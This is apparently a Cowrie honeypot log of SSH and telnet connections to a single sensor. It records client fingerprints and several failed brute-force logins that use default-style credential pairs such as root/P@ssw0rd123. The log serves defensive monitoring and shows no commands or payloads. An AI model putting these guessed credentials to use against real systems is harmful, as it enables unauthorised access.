{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:28.815727Z","src_ip":"193.24.211.100","session":"bfb0e4708641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"admin","message":"login attempt [guest/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:29.237835Z","src_ip":"193.24.211.100","session":"bfb0e4708641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:29.529974Z","src_ip":"138.124.158.150","session":"63ad89249c81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:30.348531Z","src_ip":"193.24.211.100","session":"bfb0e4708641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":61016,"dst_ip":"159.203.135.109","dst_port":22,"session":"e072b9a104a8","protocol":"ssh","message":"New connection: 194.59.206.2:61016 (159.203.135.109:22) [session: e072b9a104a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:31.935946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:31.940396Z","src_ip":"194.59.206.2","session":"e072b9a104a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:32.026439Z","src_ip":"194.59.206.2","session":"e072b9a104a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:32.117157Z","src_ip":"194.59.206.2","session":"e072b9a104a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41524,"dst_ip":"159.203.135.109","dst_port":22,"session":"333bf3409560","protocol":"ssh","message":"New connection: 2.57.122.208:41524 (159.203.135.109:22) [session: 333bf3409560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:23:26.235222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:23:26.329149Z","src_ip":"2.57.122.208","session":"333bf3409560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:23:26.428600Z","src_ip":"2.57.122.208","session":"333bf3409560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:23:27.233175Z","src_ip":"2.57.122.208","session":"333bf3409560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:23:28.527627Z","src_ip":"2.57.122.208","session":"333bf3409560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":52702,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe0da946d8a1","protocol":"ssh","message":"New connection: 138.124.158.150:52702 (10.17.0.5:22) [session: fe0da946d8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:24:01.150650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:24:01.155531Z","src_ip":"138.124.158.150","session":"fe0da946d8a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:24:01.339095Z","src_ip":"138.124.158.150","session":"fe0da946d8a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"resu","message":"login attempt [user/resu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:24:02.997530Z","src_ip":"138.124.158.150","session":"fe0da946d8a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:24:04.182761Z","src_ip":"138.124.158.150","session":"fe0da946d8a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":38628,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ae70fc8eba9","protocol":"ssh","message":"New connection: 138.124.158.150:38628 (10.17.0.5:22) [session: 3ae70fc8eba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:25:32.767200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:25:32.775334Z","src_ip":"138.124.158.150","session":"3ae70fc8eba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:25:32.957026Z","src_ip":"138.124.158.150","session":"3ae70fc8eba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testtest","message":"login attempt [ubuntu/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:25:33.715587Z","src_ip":"138.124.158.150","session":"3ae70fc8eba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:25:34.912638Z","src_ip":"138.124.158.150","session":"3ae70fc8eba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54728,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae2eff73009d","protocol":"ssh","message":"New connection: 103.15.226.202:54728 (10.17.0.5:22) [session: ae2eff73009d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:25:56.394708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:25:56.399663Z","src_ip":"103.15.226.202","session":"ae2eff73009d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:25:56.648139Z","src_ip":"103.15.226.202","session":"ae2eff73009d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:25:57.396086Z","src_ip":"103.15.226.202","session":"ae2eff73009d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:25:58.646099Z","src_ip":"103.15.226.202","session":"ae2eff73009d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37166,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e1447805fd8","protocol":"ssh","message":"New connection: 2.57.122.208:37166 (159.203.135.109:22) [session: 7e1447805fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:26:11.427979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:26:11.697049Z","src_ip":"2.57.122.208","session":"7e1447805fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:26:12.052696Z","src_ip":"2.57.122.208","session":"7e1447805fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:26:13.099821Z","src_ip":"2.57.122.208","session":"7e1447805fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:26:14.477350Z","src_ip":"2.57.122.208","session":"7e1447805fd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":34378,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ef643b4dc69","protocol":"telnet","message":"New connection: 212.55.149.117:34378 (10.17.0.5:23) [session: 0ef643b4dc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:26:53.901811Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":39798,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e46d1cf07f7","protocol":"telnet","message":"New connection: 129.232.238.42:39798 (159.203.135.109:23) [session: 6e46d1cf07f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:27:05.659996Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":59218,"dst_ip":"10.17.0.5","dst_port":22,"session":"18488318d8e5","protocol":"ssh","message":"New connection: 138.124.158.150:59218 (10.17.0.5:22) [session: 18488318d8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:27:06.347240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:27:06.351785Z","src_ip":"138.124.158.150","session":"18488318d8e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:27:08.271759Z","src_ip":"138.124.158.150","session":"18488318d8e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1337","message":"login attempt [root/admin1337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:27:08.998486Z","src_ip":"138.124.158.150","session":"18488318d8e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:27:10.179731Z","src_ip":"138.124.158.150","session":"18488318d8e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":50614,"dst_ip":"159.203.135.109","dst_port":23,"session":"23432c50ea2f","protocol":"telnet","message":"New connection: 129.232.238.42:50614 (159.203.135.109:23) [session: 23432c50ea2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:27:11.005353Z"}
{"eventid":"cowrie.session.closed","duration":38.41423487663269,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:27:44.074098Z","src_ip":"129.232.238.42","session":"6e46d1cf07f7","protocol":"telnet"}
